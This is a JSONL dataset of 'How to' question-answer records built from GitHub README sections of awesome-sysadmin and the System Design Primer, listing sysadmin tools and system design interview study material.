{"id": "gh_a05a095a9acb", "question": "How to: Newsletters", "question_body": "About kahun/awesome-sysadmin", "answer": "*Newsletter software.*\n\n* [DadaMail](http://dadamailproject.com/) - Mailing List Manager, written in Perl.\n* [phpList](http://www.phplist.com/) - Newsletter manager written in PHP.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556639"}
{"id": "gh_ba66f45c271e", "question": "How to: Service Discovery", "question_body": "About kahun/awesome-sysadmin", "answer": "* [Consul](http://www.consul.io/) - Consul is a tool for service discovery, monitoring and configuration.\n* [Doozerd](https://github.com/ha/doozerd) - Doozer is a highly-available, completely consistent store for small amounts of extremely important data.\n* [ZooKeeper](http://zookeeper.apache.org/) - ZooKeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556650"}
{"id": "gh_da02afdb9f3c", "question": "How to: Software Containers", "question_body": "About kahun/awesome-sysadmin", "answer": "*Operating system–level virtualization.*\n\n* [Bitnami](https://bitnami.com/) - Produces open source installers or software packages for web applications and development stacks as well as virtual appliances.\n* [Docker](http://www.docker.com/) - Open platform for developers and sysadmins to build, ship, and run distributed applications.\n* [LXC](https://linuxcontainers.org/lxc/) -  Userspace interface for the Linux kernel containment features.\n* [LXD](https://linuxcontainers.org/lxd/) - LXD is a container \"hypervisor\".\n* [OpenVZ](http://openvz.org) - Container-based virtualization for Linux.\n* [Docker Compose](https://docs.docker.com/compose/) - Fast, isolated development environments using Docker.\n* [Singularity](http://singularity.lbl.gov/) - Flexible containers without root.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556659"}
{"id": "gh_4efbd291fc61", "question": "How to: Statistics", "question_body": "About kahun/awesome-sysadmin", "answer": "*Analytics software.*\n\n* [Analog](http://www.web42.com/analog/) - Logfile Analyser.\n* [AWStats](http://www.awstats.org/) - Generates web, streaming, ftp or mail server statistics graphically.\n* [GoAccess](http://goaccess.io/) - Real-time web log analyzer and interactive viewer that runs in a terminal.\n* [Open Web Analytics](http://www.openwebanalytics.com/) - Add web analytics to websites using JS, PHP or REST APIs.\n* [Piwik](http://piwik.org/) - Web analytics application.\n* [Webalizer](http://www.webalizer.org/) - Fast, free web server log file analysis program.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556667"}
{"id": "gh_780ae3c1bb7e", "question": "How to: Status Pages", "question_body": "About kahun/awesome-sysadmin", "answer": "* [Cachet](https://cachethq.io) - An open source status page system written in PHP.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556672"}
{"id": "gh_4de809d430c8", "question": "How to: Ticketing systems", "question_body": "About kahun/awesome-sysadmin", "answer": "*Web-based ticketing system.*\n\n* [Bugzilla](http://www.bugzilla.org/) - General-purpose bugtracker and testing tool originally developed and used by the Mozilla project.\n* [Cerb](http://www.cerberusweb.com/) - Group-based e-mail management project.\n* [Flyspray](http://flyspray.org) - Web-based bug tracking system written in PHP.\n* [MantisBT](http://www.mantisbt.org/) - Web-based bug tracking system.\n* [osTicket](http://osticket.com/) - Simple support ticket system.\n* [OTRS](http://www.otrs.com/) - Trouble ticket system for assigning tickets to incoming queries and tracking further communications.\n* [Redmine](http://www.redmine.org/) - Open source project management/ticketing web application written in Ruby.\n* [Request Tracker](http://www.bestpractical.com/rt/) - Ticket-tracking system written in Perl.\n* [TheBugGenie](http://www.thebuggenie.com) - Ticket system with extensive user rights system.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556679"}
{"id": "gh_8933fdebbd1d", "question": "How to: Troubleshooting", "question_body": "About kahun/awesome-sysadmin", "answer": "*Troubleshooting tools.*\n\n* [mitmproxy](http://mitmproxy.org/) - A Python tool used for intercepting, viewing and modifying network traffic. Invaluable in troubleshooting certain problems.\n* [Sysdig](http://www.sysdig.org/) - Capture system state and activity from a running Linux instance, then save, filter and analyze.\n* [Wireshark](http://www.wireshark.org/) - The world's foremost network protocol analyzer.\n\n*Troubleshooting distributions.*\n\n* [Trinity Rescue Kit](http://trinityhome.org) - Linux Live CD for general computer troubleshooting.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556685"}
{"id": "gh_43113d89dfaa", "question": "How to: Project Management", "question_body": "About kahun/awesome-sysadmin", "answer": "*Web-based project management and bug tracking systems.*\n\n* [ChiliProject](https://www.chiliproject.org) - Fork of Redmine.\n* [GitBucket](https://github.com/takezoe/gitbucket) Clone of GitHub written in Scala; single jar install.\n* [GitLab](https://www.gitlab.com/) - Clone of GitHub written in Ruby.\n* [Gogs](http://gogs.io/) - Self-hosted Git service written in Go.\n* [OpenProject](https://www.openproject.org) - Project collaboration with open source.\n* [Phabricator](http://phabricator.org/) Written in PHP.\n* [Redmine](http://www.redmine.org/) - Written in ruby on rails.\n* [Taiga](https://taiga.io/) - Agile, Free, Open Source Project Management Tool based on the Kanban and Scrum methods.\n* [The Bug Genie](http://www.thebuggenie.com/) - Written in PHP.\n* [Trac](http://trac.edgewall.org/) - Written in python.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556692"}
{"id": "gh_2f6ae5886296", "question": "How to: Version control", "question_body": "About kahun/awesome-sysadmin", "answer": "*Software versioning and revision control.*\n\n* [Fossil](http://www.fossil-scm.org/) - Distributed version control with built-in wiki and bug tracking.\n* [Git](http://git-scm.com/) - Distributed revision control and source code management (SCM) with an emphasis on speed.\n* [GNU Bazaar](http://bazaar.canonical.com/) - Distributed revision control system sponsored by Canonical.\n* [Mercurial](http://mercurial.selenic.com/) - Another distributed revision control.\n* [Subversion](http://subversion.apache.org/) - Client-server revision control system.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556698"}
{"id": "gh_f39c663f8d52", "question": "How to: Virtualization", "question_body": "About kahun/awesome-sysadmin", "answer": "*Virtualization software.*\n\n* [Archipel](http://archipelproject.org/) - XMPP based virtualization management platform.\n* [Ganeti](https://code.google.com/p/ganeti/) - Cluster virtual server management software tool built on top of KVM and Xen.\n* [KVM](http://www.linux-kvm.org) - Linux kernel virtualization infrastructure.\n* [OpenNebula](http://opennebula.org/) - Flexible enterprise cloud made simple.\n* [oVirt](http://www.ovirt.org/) - Manages virtual machines, storage and virtual networks.\n* [Packer](http://www.packer.io/) - A tool for creating identical machine images for multiple platforms from a single source configuration.\n* [Proxmox VE](https://www.proxmox.com/proxmox-ve) - Complete open source virtualization management solution.\n* [QEMU](http://www.qemu.org/) - QEMU is a generic and open source machine emulator and virtualizer.\n* [Vagrant](https://www.vagrantup.com/) - Tool for building complete development environments.\n* [VirtualBox](https://www.virtualbox.org/) - Virtualization product from Oracle Corporation.\n* [Xen](http://www.xenproject.org/) - Virtual machine monitor for 32/64 bit Intel / AMD (IA 64) and PowerPC 970 architectures.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556707"}
{"id": "gh_123501a4acca", "question": "How to: Repositories", "question_body": "About kahun/awesome-sysadmin", "answer": "*Debian-based distributions.*\n\n* [Dotdeb](http://www.dotdeb.org/) - Repository with LAMP updated packages for Debian.\n\n*RPM-based distributions.*\n\n* [ElRepo](http://elrepo.org/tiki/tiki-index.php) - Community Repo for Enterprise Linux (RHEL, CentOS, etc).\n* [EPEL](https://fedoraproject.org/wiki/EPEL) - Repository for RHEL and compatibles (CentOS, Scientific Linux).\n* [Remi](http://rpms.famillecollet.com/) - Repository with LAMP updated packages for RHEL/Centos/Fedora.\n* [Software Collections](https://www.softwarecollections.org) - Community Release of [Red Hat Software Collections](https://access.redhat.com/documentation/en-US/Red_Hat_Software_Collections/). Provides updated packages of Ruby, Python, etc. for CentOS/Scientific Linux 6.x.", "tags": ["kahun"], "source": "github_gists", "category": "kahun", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 24225, "answer_score": 10, "has_code": false, "url": "https://github.com/kahun/awesome-sysadmin", "collected_at": "2026-01-17T08:19:42.556732"}
{"id": "gh_129801a51c0b", "question": "How to: The System Design Primer", "question_body": "About donnemartin/system-design-primer", "answer": "", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221830"}
{"id": "gh_009a210fe278", "question": "How to: Motivation", "question_body": "About donnemartin/system-design-primer", "answer": "> Learn how to design large-scale systems.\n>\n> Prep for the system design interview.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221845"}
{"id": "gh_b87fa6f69e36", "question": "How to: Learn how to design large-scale systems", "question_body": "About donnemartin/system-design-primer", "answer": "Learning how to design scalable systems will help you become a better engineer.\n\nSystem design is a broad topic.  There is a **vast amount of resources scattered throughout the web** on system design principles.\n\nThis repo is an **organized collection** of resources to help you learn how to build systems at scale.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221853"}
{"id": "gh_11111cecb61a", "question": "How to: Learn from the open source community", "question_body": "About donnemartin/system-design-primer", "answer": "This is a continually updated, open source project.\n\n[Contributions](#contributing) are welcome!", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221859"}
{"id": "gh_41ceb3013e3d", "question": "How to: Prep for the system design interview", "question_body": "About donnemartin/system-design-primer", "answer": "In addition to coding interviews, system design is a **required component** of the **technical interview process** at many tech companies.\n\n**Practice common system design interview questions** and **compare** your results with **sample solutions**: discussions, code, and diagrams.\n\nAdditional topics for interview prep:\n\n* [Study guide](#study-guide)\n* [How to approach a system design interview question](#how-to-approach-a-system-design-interview-question)\n* [System design interview questions, **with solutions**](#system-design-interview-questions-with-solutions)\n* [Object-oriented design interview questions, **with solutions**](#object-oriented-design-interview-questions-with-solutions)\n* [Additional system design interview questions](#additional-system-design-interview-questions)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221867"}
{"id": "gh_498e2ad6bd3c", "question": "How to: Anki flashcards", "question_body": "About donnemartin/system-design-primer", "answer": "The provided [Anki flashcard decks](https://apps.ankiweb.net/) use spaced repetition to help you retain key system design concepts.\n\n* [System design deck](https://github.com/donnemartin/system-design-primer/tree/master/resources/flash_cards/System%20Design.apkg)\n* [System design exercises deck](https://github.com/donnemartin/system-design-primer/tree/master/resources/flash_cards/System%20Design%20Exercises.apkg)\n* [Object oriented design exercises deck](https://github.com/donnemartin/system-design-primer/tree/master/resources/flash_cards/OO%20Design.apkg)\n\nGreat for use while on-the-go.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221874"}
{"id": "gh_ca75c5232f34", "question": "How to: Coding Resource: Interactive Coding Challenges", "question_body": "About donnemartin/system-design-primer", "answer": "Looking for resources to help you prep for the [**Coding Interview**](https://github.com/donnemartin/interactive-coding-challenges)?\nCheck out the sister repo [**Interactive Coding Challenges**](https://github.com/donnemartin/interactive-coding-challenges), which contains an additional Anki deck:\n\n* [Coding deck](https://github.com/donnemartin/interactive-coding-challenges/tree/master/anki_cards/Coding.apkg)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221881"}
{"id": "gh_d8e15fe6fd49", "question": "How to: Contributing", "question_body": "About donnemartin/system-design-primer", "answer": "> Learn from the community.\n\nFeel free to submit pull requests to help:\n\n* Fix errors\n* Improve sections\n* Add new sections\n* [Translate](https://github.com/donnemartin/system-design-primer/issues/28)\n\nContent that needs some polishing is placed [under development](#under-development).\n\nReview the [Contributing Guidelines](CONTRIBUTING.md).", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221887"}
{"id": "gh_0885576e3bd5", "question": "How to: Index of system design topics", "question_body": "About donnemartin/system-design-primer", "answer": "> Summaries of various system design topics, including pros and cons.  **Everything is a trade-off**.\n>\n> Each section contains links to more in-depth resources.\n* [System design topics: start here](#system-design-topics-start-here)\n    * [Step 1: Review the scalability video lecture](#step-1-review-the-scalability-video-lecture)\n    * [Step 2: Review the scalability article](#step-2-review-the-scalability-article)\n    * [Next steps](#next-steps)\n* [Performance vs scalability](#performance-vs-scalability)\n* [Latency vs throughput](#latency-vs-throughput)\n* [Availability vs consistency](#availability-vs-consistency)\n    * [CAP theorem](#cap-theorem)\n        * [CP - consistency and partition tolerance](#cp---consistency-and-partition-tolerance)\n        * [AP - availability and partition tolerance](#ap---availability-and-partition-tolerance)\n* [Consistency patterns](#consistency-patterns)\n    * [Weak consistency](#weak-consistency)\n    * [Eventual consistency](#eventual-consistency)\n    * [Strong consistency](#strong-consistency)\n* [Availability patterns](#availability-patterns)\n    * [Fail-over](#fail-over)\n    * [Replication](#replication)\n    * [Availability in numbers](#availability-in-numbers)\n* [Domain name system](#domain-name-system)\n* [Content delivery network](#content-delivery-network)\n    * [Push CDNs](#push-cdns)\n    * [Pull CDNs](#pull-cdns)\n* [Load balancer](#load-balancer)\n    * [Active-passive](#active-passive)\n    * [Active-active](#active-active)\n    * [Layer 4 load balancing](#layer-4-load-balancing)\n    * [Layer 7 load balancing](#layer-7-load-balancing)\n    * [Horizontal scaling](#horizontal-scaling)\n* [Reverse proxy (web server)](#reverse-proxy-web-server)\n    * [Load balancer vs reverse proxy](#load-balancer-vs-reverse-proxy)\n* [Application layer](#application-layer)\n    * [Microservices](#microservices)\n    * [Service discovery](#service-discovery)\n* [Database](#database)\n    * [Relational database management system (RDBMS)](#relational-database-management-system-rdbms)\n        * [Master-slave replication](#master-slave-replication)\n        * [Master-master replication](#master-master-replication)\n        * [Federation](#federation)\n        * [Sharding](#sharding)\n        * [Denormalization](#denormalization)\n        * [SQL tuning](#sql-tuning)\n    * [NoSQL](#nosql)\n        * [Key-value store](#key-value-store)\n        * [Document store](#document-store)\n        * [Wide column store](#wide-column-store)\n        * [Graph Database](#graph-database)\n    * [SQL or NoSQL](#sql-or-nosql)\n* [Cache](#cache)\n    * [Client caching](#client-caching)\n    * [CDN caching](#cdn-caching)\n    * [Web server caching](#web-server-caching)\n    * [Database caching](#database-caching)\n    * [Application caching](#application-caching)\n    * [Caching at the database query level](#caching-at-the-database-query-level)\n    * [Caching at the object level](#caching-at-the-object-level)\n    * [When to update the cache](#when-to-update-the-cache)\n        * [Cache-aside](#cache-aside)\n        * [Write-through](#write-through)\n        * [Write-behind (write-back)](#write-behind-write-back)\n        * [Refresh-ahead](#refresh-ahead)\n* [Asynchronism](#asynchronism)\n    * [Message queues](#message-queues)\n    * [Task queues](#task-queues)\n    * [Back pressure](#back-pressure)\n* [Communication](#communication)\n    * [Transmission control protocol (TCP)](#transmission-control-protocol-tcp)\n    * [User datagram protocol (UDP)](#user-datagram-protocol-udp)\n    * [Remote procedure call (RPC)](#remote-procedure-call-rpc)\n    * [Representational state transfer (REST)](#representational-state-transfer-rest)\n* [Security](#security)\n* [Appendix](#appendix)\n    * [Powers of two table](#powers-of-two-table)\n    * [Latency numbers every programmer should know](#latency-numbers-every-programmer-should-know)\n    * [Additional system design interview questions](#additional-system-design-interview-questions)\n    * [Real world architectures](#real-world-architectures)\n    * [Company architectures](#company-architectures)\n    * [Company engineering blogs](#company-engineering-blogs)\n* [Under development](#under-development)\n* [Credits](#credits)\n* [Contact info](#contact-info)\n* [License](#license)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221909"}
{"id": "gh_a89105d5b9cf", "question": "How to: Study guide", "question_body": "About donnemartin/system-design-primer", "answer": "> Suggested topics to review based on your interview timeline (short, medium, long).\n\n![Imgur](images/OfVllex.png)\n\n**Q: For interviews, do I need to know everything here?**\n\n**A: No, you don't need to know everything here to prepare for the interview**.\n\nWhat you are asked in an interview depends on variables such as:\n\n* How much experience you have\n* What your technical background is\n* What positions you are interviewing for\n* Which companies you are interviewing with\n* Luck\n\nMore experienced candidates are generally expected to know more about system design.  Architects or team leads might be expected to know more than individual contributors.  Top tech companies are likely to have one or more design interview rounds.\n\nStart broad and go deeper in a few areas.  It helps to know a little about various key system design topics.  Adjust the following guide based on your timeline, experience, what positions you are interviewing for, and which companies you are interviewing with.\n\n* **Short timeline** - Aim for **breadth** with system design topics.  Practice by solving **some** interview questions.\n* **Medium timeline** - Aim for **breadth** and **some depth** with system design topics.  Practice by solving **many** interview questions.\n* **Long timeline** - Aim for **breadth** and **more depth** with system design topics.  Practice by solving **most** interview questions.\n\n| | Short | Medium | Long |\n|---|---|---|---|\n| Read through the [System design topics](#index-of-system-design-topics) to get a broad understanding of how systems work | :+1: | :+1: | :+1: |\n| Read through a few articles in the [Company engineering blogs](#company-engineering-blogs) for the companies you are interviewing with | :+1: | :+1: | :+1: |\n| Read through a few [Real world architectures](#real-world-architectures) | :+1: | :+1: | :+1: |\n| Review [How to approach a system design interview question](#how-to-approach-a-system-design-interview-question) | :+1: | :+1: | :+1: |\n| Work through [System design interview questions with solutions](#system-design-interview-questions-with-solutions) | Some | Many | Most |\n| Work through [Object-oriented design interview questions with solutions](#object-oriented-design-interview-questions-with-solutions) | Some | Many | Most |\n| Review [Additional system design interview questions](#additional-system-design-interview-questions) | Some | Many | Most |", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221922"}
{"id": "gh_8af210622149", "question": "How to: How to approach a system design interview question", "question_body": "About donnemartin/system-design-primer", "answer": "> How to tackle a system design interview question.\n\nThe system design interview is an **open-ended conversation**.  You are expected to lead it.\n\nYou can use the following steps to guide the discussion.  To help solidify this process, work through the [System design interview questions with solutions](#system-design-interview-questions-with-solutions) section using the following steps.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221928"}
{"id": "gh_3531d22eae07", "question": "How to: Step 1: Outline use cases, constraints, and assumptions", "question_body": "About donnemartin/system-design-primer", "answer": "Gather requirements and scope the problem.  Ask questions to clarify use cases and constraints.  Discuss assumptions.\n\n* Who is going to use it?\n* How are they going to use it?\n* How many users are there?\n* What does the system do?\n* What are the inputs and outputs of the system?\n* How much data do we expect to handle?\n* How many requests per second do we expect?\n* What is the expected read to write ratio?", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221935"}
{"id": "gh_01e44f04ee48", "question": "How to: Step 2: Create a high level design", "question_body": "About donnemartin/system-design-primer", "answer": "Outline a high level design with all important components.\n\n* Sketch the main components and connections\n* Justify your ideas", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221940"}
{"id": "gh_00a668d85da0", "question": "How to: Step 3: Design core components", "question_body": "About donnemartin/system-design-primer", "answer": "Dive into details for each core component.  For example, if you were asked to [design a url shortening service](solutions/system_design/pastebin/README.md), discuss:\n\n* Generating and storing a hash of the full url\n    * [MD5](solutions/system_design/pastebin/README.md) and [Base62](solutions/system_design/pastebin/README.md)\n    * Hash collisions\n    * SQL or NoSQL\n    * Database schema\n* Translating a hashed url to the full url\n    * Database lookup\n* API and object-oriented design", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221946"}
{"id": "gh_7933c957e7e6", "question": "How to: Step 4: Scale the design", "question_body": "About donnemartin/system-design-primer", "answer": "Identify and address bottlenecks, given the constraints.  For example, do you need the following to address scalability issues?\n\n* Load balancer\n* Horizontal scaling\n* Caching\n* Database sharding\n\nDiscuss potential solutions and trade-offs.  Everything is a trade-off.  Address bottlenecks using [principles of scalable system design](#index-of-system-design-topics).", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221952"}
{"id": "gh_fb467c3c195c", "question": "How to: Back-of-the-envelope calculations", "question_body": "About donnemartin/system-design-primer", "answer": "You might be asked to do some estimates by hand.  Refer to the [Appendix](#appendix) for the following resources:\n\n* [Use back of the envelope calculations](http://highscalability.com/blog/2011/1/26/google-pro-tip-use-back-of-the-envelope-calculations-to-choo.html)\n* [Powers of two table](#powers-of-two-table)\n* [Latency numbers every programmer should know](#latency-numbers-every-programmer-should-know)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221958"}
{"id": "gh_86a73c2bb436", "question": "How to: Source(s) and further reading", "question_body": "About donnemartin/system-design-primer", "answer": "Check out the following links to get a better idea of what to expect:\n\n* [How to ace a systems design interview](https://web.archive.org/web/20210505130322/https://www.palantir.com/2011/10/how-to-rock-a-systems-design-interview/)\n* [The system design interview](http://www.hiredintech.com/system-design)\n* [Intro to Architecture and Systems Design Interviews](https://www.youtube.com/watch?v=ZgdS0EUmn70)\n* [System design template](https://leetcode.com/discuss/career/229177/My-System-Design-Template)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221964"}
{"id": "gh_21869cb58e95", "question": "How to: System design interview questions with solutions", "question_body": "About donnemartin/system-design-primer", "answer": "> Common system design interview questions with sample discussions, code, and diagrams.\n>\n> Solutions linked to content in the `solutions/` folder.\n\n| Question | |\n|---|---|\n| Design Pastebin.com (or Bit.ly) | [Solution](solutions/system_design/pastebin/README.md) |\n| Design the Twitter timeline and search (or Facebook feed and search) | [Solution](solutions/system_design/twitter/README.md) |\n| Design a web crawler | [Solution](solutions/system_design/web_crawler/README.md) |\n| Design Mint.com | [Solution](solutions/system_design/mint/README.md) |\n| Design the data structures for a social network | [Solution](solutions/system_design/social_graph/README.md) |\n| Design a key-value store for a search engine | [Solution](solutions/system_design/query_cache/README.md) |\n| Design Amazon's sales ranking by category feature | [Solution](solutions/system_design/sales_rank/README.md) |\n| Design a system that scales to millions of users on AWS | [Solution](solutions/system_design/scaling_aws/README.md) |\n| Add a system design question | [Contribute](#contributing) |", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221971"}
{"id": "gh_e1a7083059c0", "question": "How to: Design Pastebin.com (or Bit.ly)", "question_body": "About donnemartin/system-design-primer", "answer": "[View exercise and solution](solutions/system_design/pastebin/README.md)\n\n![Imgur](images/4edXG0T.png)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221977"}
{"id": "gh_8f48cd7a194b", "question": "How to: Design the Twitter timeline and search (or Facebook feed and search)", "question_body": "About donnemartin/system-design-primer", "answer": "[View exercise and solution](solutions/system_design/twitter/README.md)\n\n![Imgur](images/jrUBAF7.png)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221982"}
{"id": "gh_70aeafcf0a09", "question": "How to: Design a web crawler", "question_body": "About donnemartin/system-design-primer", "answer": "[View exercise and solution](solutions/system_design/web_crawler/README.md)\n\n![Imgur](images/bWxPtQA.png)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221987"}
{"id": "gh_e18c500858e4", "question": "How to: Design Mint.com", "question_body": "About donnemartin/system-design-primer", "answer": "[View exercise and solution](solutions/system_design/mint/README.md)\n\n![Imgur](images/V5q57vU.png)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221992"}
{"id": "gh_13ced4ef7e37", "question": "How to: Design the data structures for a social network", "question_body": "About donnemartin/system-design-primer", "answer": "[View exercise and solution](solutions/system_design/social_graph/README.md)\n\n![Imgur](images/cdCv5g7.png)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.221996"}
{"id": "gh_dd45f200433d", "question": "How to: Design a key-value store for a search engine", "question_body": "About donnemartin/system-design-primer", "answer": "[View exercise and solution](solutions/system_design/query_cache/README.md)\n\n![Imgur](images/4j99mhe.png)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222001"}
{"id": "gh_925efdf8ed8f", "question": "How to: Design Amazon's sales ranking by category feature", "question_body": "About donnemartin/system-design-primer", "answer": "[View exercise and solution](solutions/system_design/sales_rank/README.md)\n\n![Imgur](images/MzExP06.png)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222006"}
